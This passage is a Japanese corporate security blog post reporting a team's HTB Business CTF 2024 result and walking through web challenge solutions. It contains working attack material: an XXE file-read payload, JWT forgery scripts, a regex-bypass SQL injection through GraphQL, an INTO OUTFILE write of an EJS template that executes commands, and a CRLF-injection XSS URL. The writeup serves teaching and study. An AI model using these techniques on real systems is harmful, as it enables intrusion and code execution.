ラック・セキュリティごった煮ブログ

セキュリティエンジニアがエンジニアの方に向けて、 セキュリティやIT技術に関する情報を発信していくアカウントです。

【お知らせ】2021年5月10日~リニューアルオープン!今後はこちらで新しい記事を公開します。

株式会社ラックのセキュリティエンジニアが、 エンジニアの方向けにセキュリティやIT技術に関する情報を発信するブログです。(編集:株式会社ラック・デジタルペンテスト部)
当ウェブサイトをご利用の際には、こちらの「サイトのご利用条件」をご確認ください。

デジタルペンテスト部提供サービス:ペネトレーションテスト

HTB Business CTF 2024の参加レポート・writeup(Web&Misc編)

こんにちは、デジタルペンテスト部(DP部)のst98です。

2024年5月18日(土)から2024年5月22日(水)にかけて、HTB Business CTF 2024という世界中の企業が競い合うオンラインのCTF(Capture The Flag)が開催されました。ラック社内のCTFプレイヤーに声をかけ、14名のメンバーからなるチーム「LAC SeaParadise」*1を結成し、943チームが参加する中で国内2位/世界8位という成績を収めました。

本記事では、HTB Business CTFとはどのような大会だったかを説明した後に、このCTFでWebやMiscのカテゴリから出題された問題について、我々がどのようなアプローチで解いたかを紹介していきます。


参加レポート

HTB Business CTFについて

Hack The Box(HTB)は、サイバーセキュリティについて学ぶことのできるプラットフォームです。ドキュメントを読みつつハンズオンで手を動かすことで、特定のトピックについて段階的に学べるHTB Academyや、脆弱なWindowsLinuxのマシンやネットワークを対象として攻撃を行うことで、実践的にペネトレーションテストを学べるHTB LabsといったサービスをHTBは展開しています。HTB LabsにはPro Hacker, Guru, Omniscientのようなプレイヤーのレベルを示すハッカーランクや、プレイヤー間で競い合うランキングといった制度があり、世界中のハッカーが挑戦していることで知られています。もちろん、日本にも多くのプレイヤーがいます*2

さて、そんなHTBの主催するCTFがHTB Business CTFです。FAQで "business-focused CTF" とされている通り、会社のメールアドレスがなければ登録できず*3、また1社1チームしか参加できない*4企業対抗CTFとなっています。2021年から毎年開催されており、今年が4回目の開催でした。

会社対抗のCTFらしく、出題される問題の分野も幅広く、また現実のシステムにある程度即したものとなっていました*5。よくあるCTFではWeb, Crypto(暗号), Reversing(リバースエンジニアリング), Pwn(バイナリエクスプロイテーション)といったものが主要なカテゴリとなっています。HTB Business CTF 2024では、これらのカテゴリはもちろんのこと、以下のようなカテゴリも存在していました:

  • Forensics: 与えられたpcapファイルをもとにパケットを解析したり、バックドアの仕掛けられたマシンに接続しての解析等を行う
  • Blockchain: Solidityを使ったスマートコントラクトに潜む脆弱性を攻撃する
  • Cloud: AWSGCPといったクラウドサービスを利用しているサービスの情報収集や攻撃等を行う
  • Hardware: VHDLのコードリーディングや6502のアセンブリを書くといったように、ハードウェアに関連した問題に挑む
  • ICS: 産業用システムに対してプロトコルの解析や攻撃等を行う
  • Coding: 競技プログラミングのように、出されたお題に対して効率的に解くことのできるアルゴリズムを実装する
  • Fullpwn: HTB Labsで提供されているような、いわゆるBoot2Root問に挑み、一般ユーザの乗っ取りからrootへのアクセスまでつなげる

LAC SeaParadiseについて

NFLabs.さんやNTTセキュリティさんが参加レポートを公開されていたほか、GMOサイバーセキュリティ byイエラエさんが日本1位を獲得した際にプレスリリースを出していたことから、私は以前からHTB Business CTFに興味を持っていました。過去数年のwriteupを確認し、いわゆる「エスパー問」*6はほとんどなく、難易度も簡単なものから難しいものまで出題されるようで、楽しめそうなCTFであるという認識を持っていました。

そんな折、CTF情報が得られるCTFtime.orgというプラットフォームで、今後開催されるCTFの一覧から2024年もHTB Business CTFがあることを知りました。これまでHTB Business CTFへ参加したことはありませんでしたが、今回はぜひラックでチームを作りたいと思い、社内CTF「LACCON」の運営メンバーや、過去参加いただいたプレイヤーを中心に声をかけ、またそうして集まったメンバーからのさらなる招待によって、チーム「LAC SeaParadise」が結成されました。

今年の大会は1チーム最大30名まで参加可能というルールでしたが、私を含め14名が集まりました。デジタルペンテスト部でペネトレーションテストを担当しているメンバーだけでなく、セキュリティ監視・運用サービスであるJSOCのメンバー、セキュリティ部門ではないメンバーなどなど、複数部門を横断してチームが組織されました。

大会の結果

競技期間は2024年5月18日(土)の22時から2024年5月22日(水)の22時までの96時間と、一般的なCTFでも24時間か48時間というただでさえ長めのものが多いところ、HTB Business CTFはさらに長いものとなっていました。

競技時間のうち半分以上が日本時間では平日ということもあり、また出題される問題も前述のように多岐にわたっており、厳しい戦いが予想されました。しかしながら、メンバーの広く深い知識や技術と奮闘のおかげで、競技中は終始一桁台の順位を維持でき、国内では2位、全世界では8位という結果を残すことができました。

チームとしては、全部で63のフラグがあるうち、56のフラグ*7を取得することができました。12のカテゴリのうち、Web, Crypto, Reversing, Forensics, Misc, Coding, Blockchain, Hardware, ICSの9カテゴリに関しては、すべてのフラグを取得することができました。

一方で、Fullpwn, Pwn, Cloudに関しては、以下の5問を解くことができませんでした。全ての問題の中でも特に正答数の少ない難しい問題ばかりではありますが、「我々の今の実力では解けなかったであろう」と思える問題ばかりではありませんでした。

競技終了後に公開されたwriteupを読んで、競技中に試していたアプローチであるのに検証が足りず諦めていた、小さなヒントを見逃していたなど、あと一歩が足りなかったと気付いた問題もいくつかありました。次回以降はこの一歩を詰められるようにすべく、また解くには実力が明らかに足りないと思える問題も解けるよう*8、今後も精進していきたいと思います。

  • [Fullpwn] Bulwark
  • [Fullpwn] NeoHub
  • [Pwn] Insidious
  • [Pwn] Pyrrhus
  • [Cloud] Asceticism

writeup

今回私が解いた問題のうち、Web 5問とMisc 1問について解説をしていきます*9。解く際に残していたメモをもとに、思考の過程をなるべく詳しく書くよう心がけました。長大な文章となってしまいましたので、まず要点をまとめたTL;DRを記載します。ざっと眺めて気になった脆弱性について知りたいというような場合にご活用ください。

また、すでにHTBより今回出題された問題の問題文やソースコード、作問者が想定していた解法等が公開されています*10ので、あわせてご確認ください。

TL;DR

  • [Web] Jailbreak: XXEでファイルを読み出す
  • [Web] Blueprint Heist: JWTの偽造, 正規表現によるチェックのバイパス, GraphQLでのSQLi, INTO OUTFILE によるSQLiからのファイルの書き込み, EJSを使ったRCE
  • [Web] Omniwatch: Reflected XSS, CRLF Injectionを悪用したVarnishでのキャッシュ汚染, キャッシュ汚染によるStored XSSへのエスカレーション, Path TraversalによるJWTの署名用の鍵の窃取, 複文を活用したSQLi
  • [Web] SOS or SSO?: XSS, 偽OpenIDプロバイダの作成によるアカウントの乗っ取り
  • [Web] Magicom: PHPのregister_argc_argvディレクティブ, OSコマンドインジェクション, phpinfoとファイルアップロードを活用した、一時ファイルのパスの取得とRace Condition
  • [Misc] Prison Pipeline: fileスキームを使ったローカルファイルの読み取り, プライベートなnpmレジストリへの侵害

[Web 300] Jailbreak (500 solves)

The crew secures an experimental Pip-Boy from a black market merchant, recognizing its potential to unlock the heavily guarded bunker of Vault 79. Back at their hideout, the hackers and engineers collaborate to jailbreak the device, working meticulously to bypass its sophisticated biometric locks. Using custom firmware and a series of precise modifications, can you bring the device to full operational status in order to pair it with the vault door's access port? The flag is located in /flag.txt

問題の概要

ソースコードは与えられていません。ブラックボックス問のようです。与えられたURLにアクセスすると、ゲーム「Fallout」シリーズに登場する「Pip-Boy」というデバイスを模したWebアプリが表示されました。

ステータス、インベントリ、地図*11といった機能が存在しています。ただし、Google ChromeでDevToolsのNetworkタブを開きながらこれらの機能を確かめていると、いずれもデータは map.jsdata.js といったJSファイルの中で定義されており、APIを叩いているわけではないとわかります。

今回の目的は /flag.txt というサーバに存在するファイルを手に入れることですから、なにか脆弱性のありそうな場所、つまりユーザの入力を受けてサーバ側で何かしらの処理をしてくれるAPIを探したいところです。

このPip-Boyには ROM という機能もありました。どうやらXMLで記述された設定ファイルをアップロードすることで、ファームウェアを書き換えることができるようです。試しに、すでに textarea に入力されているXMLのままでアップロードしたところ、/api/update へのPOSTがされました。

ページを更新すると、結局 textarea に入力されているXMLは更新前のままでした。ここで、ファームウェアの更新時にXML中の FirmwareUpdateConfig/Firmware/Version に含まれているバージョンがAPIのレスポンスに含まれていることに気づきます。たとえば、<Version>hoge</Version> のように変えてやると、次のように "Firmware version hoge update initiated" と返ってきます。ちゃんとこのAPIXMLの中身を読んでくれているようです。

XXEでファイルを読む

XMLを取り扱う際に起こり得る脆弱性といえば、XML External Entity(XXE)を使った攻撃を思い出します。/flag.txt を読み出して、バージョン情報としてその内容を返させることはできないでしょうか。

次のようなXMLを用意します。もしこのペイロードを使った攻撃が成功すれば、Version 要素の内容として /etc/passwd の内容が展開されるはずです。

<!DOCTYPE FirmwareUpdateConfig [
<!ENTITY h SYSTEM "file:///etc/passwd">
]>
<FirmwareUpdateConfig>
    <Firmware>
        <Version>&h;</Version>
        <ReleaseDate>2077-10-21</ReleaseDate>
        <Description>Update includes advanced biometric lock functionality for enhanced security.</Description>
        <Checksum type="SHA-256">9b74c9897bac770ffc029102a200c5de</Checksum>
    </Firmware>
</FirmwareUpdateConfig>

試してみると、無事に /etc/passwd を読み出すことができました。

読み出すファイルを /etc/passwd から /flag.txt に変えてやると、フラグが得られました。

HTB{b1om3tric_l0cks_4nd_fl1cker1ng_l1ghts_dedaa3fb903c63ce737952a306d0dbf1}

[Web 325] Blueprint Heist (63 solves)

Amidst the chaos of their digital onslaught, they manage to extract the blueprints by inflitrating the ministry of internal affair's urban planning commission office detailing the rock and soil layout crucial for their underground tunnel schematics.

添付ファイル: web_blueprint_heist.zip

問題の概要

ありがたいことに、この問題ではソースコードが与えられています。まずは、この問題の目的を確認しましょう。Dockerfile から重要な箇所を抜き出します。

フラグは /root/flag.txt に保存されていますが、もちろん普通に読み出すことはできません。/readflag というバイナリが存在していますが、これは単純に setuid(0) してから cat /root/flag.txt というOSコマンドを実行するものです。SUIDがついていますから、/readflag を実行すればフラグが得られるわけです。

つまり、RCEやOSコマンドインジェクションといった攻撃・脆弱性によって、任意のOSコマンドを実行できるところまで持っていくことがこの問題の目的となります。

COPY flag.txt /root/flag.txt
# …
# Setup readflag
COPY config/readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c

これがどのようなWebアプリか確認しましょう。ローカルでDockerイメージを作成し、コンテナを立ち上げます。立ち上がったWebアプリにアクセスすると、次のようなページが表示されました。"Enviromental Impact" と "Construction Progress" はそれぞれリンクになっています。

試しにリンクをクリックしてみると、次のようなPDFがダウンロードされました。

DevToolsのNetworkタブを眺めつつリンクをクリックしてみると、/download?token=eyJh…4iAE というようなURLに対してPOSTが行われていることがわかります。リクエストボディでは、multipart/form-dataurl=http://localhost:1337/report/enviromental-impact というペイロードが送られていました。このURLをPDF化しているということでしょうか。

token. 区切り、かつ . で区切った前の2つが eyJ から始まっていることから、JWTと推測できます。含まれている内容は次のとおりです。role というクレームに user という文字列が含まれていますが、これを変更できれば別の role として別のアクションができるということでしょうか。

ソースコードを確認する

ソースコードを見ていきます。index.js がエントリーポイントです。外部からもアクセスできるルートと内部からのみ呼び出せるルートがあるようです。

// …
const publicRoutes = require("./routes/public")
const internalRoutes = require("./routes/internal")
// …
app.use(internalRoutes)
app.use(publicRoutes)
// …

外部からでも呼び出せる publicRoutes は次の通りです。roleguest であるJWTを発行する /getToken と、先ほどPDFのダウンロードに使った /download が気になるところです。JWTからユーザの role をチェックしているであろう authMiddleware は後で見ていきましょう。

const { authMiddleware, generateGuestToken } = require("../controllers/authController")
const { convertPdf } = require("../controllers/downloadController")

router.get("/", (req, res) => {
    res.render("index");
})

router.get("/report/progress", (req, res) => {
    res.render("reports/progress-report")
})

router.get("/report/enviromental-impact", (req, res) => {
    res.render("reports/enviromental-report")
})

router.get("/getToken", (req, res, next) => {
    generateGuestToken(req, res, next)
});

router.post("/download", authMiddleware("guest"), (req, res, next) => {
    convertPdf(req, res, next)
})
// …

convertPdf から参照されている generatePdfFromUrl は次のとおりです。なるほど、wkhtmltopdfでHTMLからPDFへ変換しているようです。このツールはすでに開発が終了しているようですが、大丈夫でしょうか。また、PDF化するURLについては何もチェックされていません。なんでもよいようです。http, https 以外も受け付けてくれるでしょうか。

async function generatePdfFromUrl(url, pdfPath) {
    return new Promise((resolve, reject) => {
        wkhtmltopdf(url, { output: pdfPath }, (err) => {
            if (err) {
                console.log(err)
                reject(err);
            } else {
                resolve();
            }
        });
    });
}

internalRoutes は次のとおりです。先ほどちらっと登場した authMiddleware を使って admin であると検証できた場合のみ叩けるAPIが2つあります。/admin の方はテンプレートを表示するだけなので今のところどうでもよいですが、/graphql はどうやらGraphQLのエンドポイントのようで、怪しい雰囲気を出しています。

// …
const { authMiddleware } = require("../controllers/authController")

const schema = require("../schemas/schema");
const pool = require("../utils/database")
const { createHandler } = require("graphql-http/lib/use/express");


router.get("/admin", authMiddleware("admin"), (req, res) => {
    res.render("admin")
})

router.all("/graphql", authMiddleware("admin"), (req, res, next) => {
    createHandler({ schema, context: { pool } })(req, res, next); 
});
// …

GraphQLのエンドポイント周りは次のとおりです。getAllDatagetDataByName というフィールドが定義されており、後者では与えられた引数をもとにSQLを発行しています。SELECT * FROM users WHERE name like '%${args.name}%' と引数をそのままSQLに展開しておりSQLiチャンスに思えますが、detectSqli なる関数によってSQLインジェクション(SQLi)が起こせそうな入力かチェックされているようです。バイパスできるかもしれませんが、また後で見ていきましょう。

const { GraphQLObjectType, GraphQLSchema, GraphQLString, GraphQLList } = require('graphql');
const UserType = require("../models/users")
const { detectSqli } = require("../utils/security")
const { generateError } = require('../controllers/errorController');

const RootQueryType = new GraphQLObjectType({
  name: 'Query',
  fields: {
    getAllData: {
      // …
    },
    getDataByName: {
      type: new GraphQLList(UserType),
      args: {
        name: { type: GraphQLString }
      },
      resolve: async(parent, args, { pool }) => {
        let data;
        const connection = await pool.getConnection();
        console.log(args.name)
        if (detectSqli(args.name)) {
          return generateError(400, "Username must only contain letters, numbers, and spaces.")
        }
        try {
            data = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`).then(rows => rows[0]);
        } catch (error) {
            return generateError(500, error)
        } finally {
            connection.release()
        }
        return data;
      }
    }
  }
});

const schema = new GraphQLSchema({
  query: RootQueryType
});

module.exports = schema;

JWTの偽造による authMiddleware の突破

ある程度ソースコードを読むことができました。GraphQLのエンドポイントからSQLiできそうな雰囲気を感じましたが、これを呼ぶにも authMiddleware("admin") のチェックを通らねばなりません。authMiddleware の実装を見ていきましょう。

ユーザによってクエリパラメータから与えられたJWTやクライアントの情報について、次の3点を確認しています:

  1. 環境変数SECRET によって署名された、有効なJWTであるか
  2. authMiddleware の与えられた引数が admin であれば、role クレームが admin
  3. 内部からの接続であるか

これらのチェックを突破して、role クレームが admin であるJWTを作りたいところです。1.については、なんとかして署名に使われている鍵を手に入れられないでしょうか。3.については、任意のURLをPDF化できる機能からアクセスさせることでなんとかできそうです。

const jwt = require('jsonwebtoken');

const { generateError } = require('../controllers/errorController');
const { checkInternal } = require("../utils/security")

const dotenv = require('dotenv');
dotenv.config();

const secret = process.env.secret

function verifyToken(token) {
    try {
        const decoded = jwt.verify(token, secret);
        return decoded.role;
    } catch (error) {
        return null
    }
}

const authMiddleware = (requiredRole) => {
    return (req, res, next) => {
        const token = req.query.token;

        if (!token) {
            return next(generateError(401, "Access denied. Token is required."));
        }

        const role = verifyToken(token);

        if (!role) {
            return next(generateError(401, "Invalid or expired token."));
        }

        if (requiredRole === "admin" && role !== "admin") {
            return next(generateError(401, "Unauthorized."));
        } else if (requiredRole === "admin" && role === "admin") {
            if (!checkInternal(req)) {
                return next(generateError(403, "Only available for internal users!"));
            }
        }

        next();
    };
};

// …

module.exports = {authMiddleware, generateGuestToken}

dotenv が使われていることに着目します。これは .env というファイルに含まれている項目を環境変数として読み込むライブラリです。配布されたソースコードに含まれていた .env を見てみると、なんと次のようにJWTの署名に使われている secret まで含まれていました。

DB_HOST=127.0.0.1
DB_USER=root
DB_PASSWORD=Secr3tP4ssw0rdNoGu35s!
DB_NAME=construction
DB_PORT=3306
secret=Str0ng_K3y_N0_l3ak_pl3ase?

本物の問題サーバによって /generateToken で発行された guest 用のJWTをjwt.ioで読み込み、この鍵を使って検証してみると、確かに成功しました。本番サーバでも共通してこの鍵が使われているようです。

role クレームを admin に変更したJWTを偽造します。本来であれば、/admin は次のように "Access denied. Token is required" と返します。

しかし、/admin?token=(偽造したJWT) のように偽造したJWTを与えてやると、"Only available for internal users!" と怒られました。ちゃんと偽造できているようです!

では、PDFの生成機能を使って内部から /admin を叩いてあげましょう。次のようなPythonスクリプトを用意します。

import urllib.parse
import jwt
import httpx

with httpx.Client(base_url='http://localhost:1337') as client:
    token = jwt.encode({
        "role": "admin",
        "iat": 2000000000
    }, 'Str0ng_K3y_N0_l3ak_pl3ase?', algorithm='HS256')

    url = f'http://127.0.0.1:1337/admin?token={token}'

    r = client.post('/download', params={
        'token': token
    }, data={
        'url': url
    })
    with open('output.pdf', 'wb') as f:
        f.write(r.content)

実行すると、次のような内容のPDFが出力されました。authMiddleware("admin") を突破できたようです。

GraphQLを使ったSQLi

admin であればGraphQLのエンドポイントが叩けるのでした。一旦後回しにしていましたが、getDataByName というフィールドでは、detectSqli という関数のチェックさえバイパスできればSQLiに持ち込めそうな雰囲気がありました。

detectSqli の実装は次のとおりです。正規表現によるチェックで、妙な記号が入っていないか見ているようです。ただ、なぜ頭に ^.* と付けているのか、その意図がわかりません。文字列のどこかにまずい記号が含まれていないかチェックしたいのであれば、この部分はいらないはずです。

function detectSqli (query) {
    const pattern = /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/
    return pattern.test(query)
}

せめて m フラグs フラグを指定しておくべきでした。m フラグがなければ ^ は行頭でなく文字列全体の先頭にのみマッチしますし、s フラグがなければ . は改行文字にマッチしません。したがって、detectSqli("\n'") のように改行文字より後ろに ' のような文字を入れることで、チェックをバイパスできます。

これでSQLiに持ち込めるはずです。次のようなPythonスクリプトを用意します。

import urllib.parse
import jwt
import httpx

with httpx.Client(base_url='http://localhost:1337') as client:
    token = jwt.encode({
        "role": "admin",
        "iat": 2000000000
    }, 'Str0ng_K3y_N0_l3ak_pl3ase?', algorithm='HS256')

    query = '''
{
    getDataByName(name: "\\u000aadmin' union select 1,2,3,4;#") {
        name
    }
}
'''

    url = f'http://127.0.0.1:1337/graphql?token={token}&query={urllib.parse.quote_plus(query)}'

    r = client.post('/download', params={
        'token': token
    }, data={
        'url': url
    })
    with open('output.pdf', 'wb') as f:
        f.write(r.content)

スクリプトを実行します。出力されたPDFは次のような内容で、確かにSQLiできていることがわかりました。

RCEへ持ち込む

この問題は /readflag というバイナリを実行するのが目的でした。SQLiからRCEに持ち込む方法はなにかあるでしょうか。まず注目すべき点として、このコンテナではMySQLが使われており、また .env からわかるように、なぜかデータベースへのアクセスに root ユーザが使われています。

DB_USER=root
DB_PASSWORD=Secr3tP4ssw0rdNoGu35s!

root ユーザであるということは FILE 権限も持っているということですから、SELECT … INTO OUTFILEによってファイルの書き込みもできるはずです。これでJSファイルやテンプレートファイルを書き換えたいところですが*12、残念ながら SELECT … INTO OUTFILE はすでに存在しているファイルを書き換えることはできません。

では、ファイルを書き換える代わりに、新たにどんなファイルを作成すればよいでしょうか。ここまでに確認していなかった処理として、403, 500等のエラーが発生した際のテンプレートの処理があります。これは次のように動的に読み込むファイルが指定されています。

const renderError = (err, req, res) => {
    res.status(err.status);
    const templateDir = __dirname + '/../views/errors';
    const errorTemplate = (err.status >= 400 && err.status < 600) ? err.status : "error"
    let templatePath = path.join(templateDir, `${errorTemplate}.ejs`);

    if (!fs.existsSync(templatePath)) {
        templatePath = path.join(templateDir, `error.ejs`);
    }
    console.log(templatePath)
    res.render(templatePath, { error: err.message }, (renderErr, html) => {
        res.send(html);
    });
};

errors/ 下を見てみると、400, 401, 500といったステータスコードには対応しているものの、404 Not Foundに関してはファイルが存在していません。404.ejs を作成してから、存在しないことのわかっているパスにアクセスすれば、そのテンプレートをレンダリングさせることができそうです。

$ tree errors/
errors/
├── 400.ejs
├── 401.ejs
├── 500.ejs
└── error.ejs

0 directories, 4 files

先ほど作成したスクリプトを編集し、GraphQLで実行されるクエリを次のようなものにします。

{
    getDataByName(name: "\\u000aadmin' union select 1,'<%= error %><%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>',3,4 into outfile '/app/views/errors/404.ejs';#") {
        name
    }
}

スクリプトを実行して /app/views/errors/404.ejs に細工したテンプレートを書き込ませます。/hoge にアクセスすると、フラグが得られました。

HTB{ch41ning_m4st3rs_b4y0nd_1m4g1nary_bb259e3a557ec64ce8e198770750111d}

この問題は我々がfirst blood*13でした。2番目に簡単な(また、HTBの想定する難易度でも "Easy" とされている)問題でこの面倒くささかと思いました。

作問者が想定していた解法を見てみたところ、まずPDFの /Creator から wkhtmltopdf 0.12.5 であることを確認し、その脆弱性によってソースコードを盗み取るところから始まっているようでした。元々はソースコードを提供しないつもりだったのでしょうか*14

[Web 375] OmniWatch (28 solves)

You have found the IP of a web interface gunners use to track and spy on foes, hack in and retrieve last known location of a caravan that got ambushed in order to find an infamous a black market seller to trade with.

添付ファイル: web_omniwatch.zip

問題の概要

ソースコードが与えられています。まずこの問題の目的を確認していきます。Dockerfile には次のようなコマンドがあり、/readflag というバイナリを実行する必要のあることがわかります。

# …
# Copy flag
COPY flag.txt /flag.txt
# …
# Setup readflag program
COPY config/readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
# …

Varnishも使われているようで、設定ファイルである cache.vcl も含まれています。キャッシュ周りの話は一旦置いておいて、バックエンドには 3000/tcp4000/tcp で動いている2つのサーバがあり、それぞれ /controller 下と /oracle 下へのアクセスがあった際に使われるようです。今後、これらのサービスについてそれぞれ便宜上 controlleroracle と呼んでいきます。

vcl 4.0;

backend default1 {
    .host = "127.0.0.1";
    .port = "3000";
}

backend default2 {
    .host = "127.0.0.1";
    .port = "4000";
}
# …
sub vcl_recv {
    if (req.url ~ "^/controller/home"){
        set req.backend_hint = default1;
        if (req.http.Cookie) {
            return (hash);
        }
    } else if (req.url ~ "^/controller") {
        set req.backend_hint = default1;        
    } else if (req.url ~ "^/oracle") {
        set req.backend_hint = default2;
    } else {
        set req.http.Location = "/controller";
        return (synth(301, "Moved"));
    }
}
# …

これらバックエンドのサービスに対応するソースコードのファイル構造は次のとおりです。controllerPythonで書かれているのはよいとして、oracle はなんとZigで書かれているようです。もしZigならではの脆弱性を探す必要があれば面倒ですが、今は考えないようにします。

$ tree -L 3 .
.
├── controller
│   ├── application
│   │   ├── app.py
│   │   ├── blueprints
│   │   ├── config.py
│   │   ├── firmware
│   │   ├── static
│   │   ├── templates
│   │   └── util
│   ├── requirements.txt
│   ├── run.py
│   └── seed.py
└── oracle
    ├── build.zig
    ├── build.zig.zon
    ├── modules
    │   ├── buffer.zig
    │   ├── config.zig
    │   ├── httpz.zig
    │   ├── …
    │   └── worker.zig
    └── src
        └── main.zig

10 directories, 20 files

どのようなサービスか確認するため、ローカルでDockerイメージをビルドし、コンテナを立ち上げます。アクセスすると /controller にリダイレクトされ、次のようにログインフォームが表示されました。guest / guest のようなありそうな認証情報を入力しても、もちろんログインできません。

ユーザ登録、あるいはすでに登録されているユーザの認証情報を用いてのログインはできないでしょうか。controller/application/util/database.py でデータベース(MySQL)の初期化をしているようですから、見てみます。まず、データベースの操作は MysqlInterface というクラスでラップされていますが、この register_user というメソッドでユーザ登録がなされるとわかります。

import time, bcrypt, random, uuid, mysql.connector

class MysqlInterface:
# …
    def register_user(self, permissions, username, password):
        password_bytes = password.encode("utf-8")
        salt = bcrypt.gensalt()
        password_hash = bcrypt.hashpw(password_bytes, salt).decode()
        self.query("INSERT INTO users(permissions, username, password) VALUES(%s, %s, %s)", (permissions, username, password_hash,))
        self.connection.commit()
        return True
# …

ディレクトリ全体を register_user で検索しましたが、同ファイルの以下の処理でしか参照されていません。ユーザ登録のできるAPIはなく、初期設定時に MODERATOR_USER, MODERATOR_PASSWORD という設定に含まれているユーザ名とパスワードでユーザが作成されているだけのようです。

# …
class MysqlInterface:
    def __init__(self, config):
        self.connection = None
        self.moderator_user = config["MODERATOR_USER"]
        self.moderator_password = config["MODERATOR_PASSWORD"]
# …
    def migrate(self):
# …
        self.register_user("moderator", self.moderator_user, self.moderator_password)
# …

MODERATOR_USER, MODERATOR_PASSWORD とは何者でしょうか。controller/application/config.py からは環境変数からやってきているとわかります。

import os
from dotenv import load_dotenv

load_dotenv()

class Config(object):
# …
    MODERATOR_USER = os.getenv("MODERATOR_USER")
    MODERATOR_PASSWORD = os.getenv("MODERATOR_PASSWORD")

そして、entrypoint.sh からはこれらの環境変数はランダムに生成されている*15とわかります。

# …
# Random password function
function genPass() {
    echo -n $RANDOM | md5sum | head -c 32
}
# …
export MODERATOR_USER=$(genPass)
export MODERATOR_PASSWORD=$(genPass)
# …

MODERATOR_USERMODERATOR_PASSWORDcontroller/application/util/bot.py でも参照されています。このコードは次の通りです。Selenium + Chromiumを使ってなにやらページの巡回を行っているようです。これらの認証情報でログインした後、/oracle/json/(ランダムな数値)oracleAPIへアクセスしています。これが定期的に実行されています。

import time, random

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options

from application.util.database import MysqlInterface

def run_scheduled_bot(config):
    try:
        bot_runner(config)
    except Exception:
        mysql_interface = MysqlInterface(config)
        mysql_interface.update_bot_status("not_running")


def bot_runner(config):
    mysql_interface = MysqlInterface(config)
    mysql_interface.update_bot_status("running")

    chrome_options = Options()

    chrome_options.add_argument("headless")
# …
    chrome_options.add_argument("disk-cache-size=1")

    client = webdriver.Chrome(options=chrome_options)

    client.get("http://127.0.0.1:1337/controller/login")

    time.sleep(3)
    client.find_element(By.ID, "username").send_keys(config["MODERATOR_USER"])
    client.find_element(By.ID, "password").send_keys(config["MODERATOR_PASSWORD"])
    client.execute_script("document.getElementById('login-btn').click()")
    time.sleep(3)

    client.get(f"http://127.0.0.1:1337/oracle/json/{str(random.randint(1, 15))}")

    time.sleep(10)

    mysql_interface.update_bot_status("not_running")
    client.quit()

このbotを罠にはめて認証情報を奪い取ることはできないでしょうか。

Reflected XSSとCRLF Injectionを組み合わせて、キャッシュを汚染する

controllerソースコードを眺めましたが、非ログイン状態では特になにかデータを保存させられるような処理はなく、というよりbot/controller/login にしかアクセスしませんから、XSSは困難に感じます。となると oracle 側でのXSSの可能性を考えますが、Zigは読みたくないのでまずそれ以外の要素を確認します。

再びVarnishの設定ファイルを見てみると、気になる記述がありました。CacheKey というレスポンスヘッダが設定されており、さらにその値が enable であれば10秒間キャッシュされるようになっています。vcl_hash ではリクエストの req.http.CacheKey のみがキャッシュの参照時のキーとなるハッシュの計算に使われるようになっていますが、これでは /oracle/json/1 でキャッシュされたものが /controller/login で表示されるようなことも考えられます。

# …
sub vcl_hash {
    hash_data(req.http.CacheKey);
    return (lookup);
}
# …
sub vcl_backend_response {
    if (beresp.http.CacheKey == "enable") {
        set beresp.ttl = 10s;
        set beresp.http.Cache-Control = "public, max-age=10";
    } else {
        set beresp.ttl = 0s;
        set beresp.http.Cache-Control = "public, max-age=0";
    }
}
# …

レスポンスヘッダに CacheKey を追加させて、無理やりどこかのページをキャッシュさせることはできないでしょうか。重い腰を上げて oracle 側のZigで書かれたコードを見ていきます。/oracle/json/1 に対応する処理は次のとおりです。なるほど、パスパラメータからモードとデバイスIDを受け取り、モードが json であればJSON形式で、それ以外であればHTMLでデバイスの情報を返しています。

// …
pub fn start(allocator: Allocator) !void {
    var server = try httpz.Server().init(allocator, .{ .address = "0.0.0.0", .port = 4000 });
    defer server.deinit();
    var router = server.router();

    server.notFound(notFound);

    router.get("/oracle/:mode/:deviceId", oracle);
    try server.listen();
}

fn oracle(req: *httpz.Request, res: *httpz.Response) !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    const allocator = gpa.allocator();

    const deviceId = req.param("deviceId").?;
    const mode = req.param("mode").?;
    const decodedDeviceId = try std.Uri.unescapeString(allocator, deviceId);
    const decodedMode = try std.Uri.unescapeString(allocator, mode);

    const latitude = try randomCoordinates();
    const longtitude = try randomCoordinates();

    res.header("X-Content-Type-Options", "nosniff");
    res.header("X-XSS-Protection", "1; mode=block");
    res.header("DeviceId", decodedDeviceId);

    if (std.mem.eql(u8, decodedMode, "json")) {
        try res.json(.{ .lat = latitude, .lon = longtitude }, .{});
    } else {
        const htmlTemplate =
            \\<!DOCTYPE html>
            \\<html>
            \\    <head>
            \\        <title>Device Oracle API v2.6</title>
            \\    </head>
            \\<body>
            \\    <p>Mode: {s}</p><p>Lat: {s}</p><p>Lon: {s}</p>
            \\</body>
            \\</html>
        ;

        res.body = try std.fmt.allocPrint(res.arena, htmlTemplate, .{ decodedMode, latitude, longtitude });
    }
}
// …

まず、パスパラメータのモードをエスケープせずHTMLのテンプレートに展開しているため、Reflected XSSができそうです。しかしながら、/oracle/<script>alert(123)<%2fscript>/1 にアクセスしても、Content-Type ヘッダが設定されておらず、かつ X-Content-Type-Options: nosniff というヘッダがあるために、Chromiumはいい感じにMIME sniffingしてくれません。したがって、これだけでは以下のとおりReflected XSSが成立しません。

このAPIでは、res.header("DeviceId", decodedDeviceId); によってデバイスIDが DevideId ヘッダに設定されています。デバイスIDを細工することでなんとかできないでしょうか。色々試していると、次のようにCRLFをデバイスIDに紛れ込ませることで、CRLF Injectionできることがわかりました。

$ curl -i "http://localhost:1337/oracle/hoge/hoge%0d%0afuga:piyo"
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
DeviceId: hoge
fuga:piyo
…

これらを組み合わせて、/oracle/<script>alert(123)<%2fscript>/%0d%0aContent-Type:text%2fhtml でReflected XSSに持ち込むことができました。

